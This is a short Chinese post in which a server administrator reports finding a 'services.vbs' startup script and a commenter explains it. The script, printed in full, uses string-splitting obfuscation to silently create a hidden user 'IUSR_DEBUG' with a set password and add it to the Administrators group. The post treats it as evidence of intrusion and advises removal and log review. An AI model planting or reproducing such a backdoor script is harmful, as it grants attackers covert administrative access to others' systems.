WEB服务器的安全对于管理员来说是很头疼的事,尤其是对于一台拥有众多客户站点的服务器来说,排查原因须细心!
今日登陆远程,发现在 开始启动项中有“services.vbs”文件:

打开一看:set wshshell=createobject ("wsc"&"ript.shell" )
a=wshshell.run ("cmd.exe /c n"&"et u"&"ser IUSR_D"&"EBUG zf,"&"@yjk515 /a"&"dd",0)
b=wshshell.run ("cmd.exe /c n"&"et loca"&"lgroup Admin"&"istrators IUSR_"&"DEBUG /a"&"dd",0)
网友 shuhan0520 解说:
第一句,创建脚本运行的实例。
第二句,cmd.exe /c net user IUSR_DEBUG zf,@yjk515 /add ,0 意思是添加一个用户,用户名为IUSR_DEBUG,密码是zf,@yjk515。
第三句,cmd.exe /c net localgroup Administrators IUSR_DEBUG /add,0 意思是将IUSR_DEBUG加为管理组。
整个脚本的意思就是加了一个管理员,名称是IUSR_DEBUG。基本可以确定是被黑客入侵了,把这个用户干掉,把这个脚本也删掉,然后根据日志查找黑客入侵的途径,并作相应补救。